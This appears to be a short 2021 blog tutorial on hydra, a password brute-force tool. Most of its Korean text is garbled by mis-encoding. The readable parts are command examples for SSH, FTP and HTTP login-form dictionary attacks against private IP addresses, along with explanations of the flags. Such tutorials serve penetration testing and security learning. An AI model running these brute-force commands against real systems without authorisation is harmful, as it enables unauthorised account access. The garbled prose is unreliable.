๐์ ๋ณด๋ณด์/๋คํธ์ํฌ ๋ณด์
๋คํธ์ํฌ ํดํน - hydra, ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ๋๊ตฌ
Janger
2021. 11. 22. 19:34
728x90
https://www.kali.org/tools/hydra/
hydra | Kali Linux Tools
hydra Usage Example Attempt to login as the root user (-l root) using a password list (-P /usr/share/wordlists/metasploit/unix_passwords.txt) with 6 threads (-t 6) on the given SSH server (ssh://192.168.1.123): root@kali:~# hydra -l root -P /usr/share/word
www.kali.org
hydra๋ FTP, SSH, MS-SQL, HTTP ๋ฑ ๋ค์ํ ํ๋กํ ์ฝ์ ๋์์ผ๋ก ์์ด๋, ์ํธ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ๋๊ตฌ์ด๋ค.
example)
hydra -l {UserID} -p {UserPW} ssh://192.168.0.5
hydra -L {UserIDs.txt} -P {UserPW.txt} ftp://192.168.0.5
๋น์ฐํ ๋ฏธ๋ฆฌ ์ ์๋ ํจ์ค์๋ ๋ฆฌ์คํธ๋ฅผ ๋ถ๋ฌ์ ์ฌ์ ๊ณต๊ฒฉ์ ์๋ํ ์๋ ์์.
๋ด FTP ์๋ฒ์๋ค ์จ๋ดค๋๋ฐ ์ ์๋ํ๋ค.
์๋๋ HTTP๋ฅผ ๋์์ผ๋ก ํ ์์
hydra -o result.txt -s {port} -l {id} -p {pw} 192.168.0.5 http-post-form "/login:id=^USER^&pw=^PASS^:Wrong"
-o ํ์ผ ์ถ๋ ฅ
-s ํฌํธ ๋ฒํธ
-l ์์ด๋
-p ํจ์ค์๋
"/login:id=^USER^&pw=^PASS^:Wrong"
"ํ๋ผ๋ฏธํฐ:์์ด๋=^USER^&๋น๋ฐ๋ฒํธ=^PASS^:ํ๋ฆฐ ๊ฒฝ์ฐ ์๋ณ ๋ฌธ์"
728x90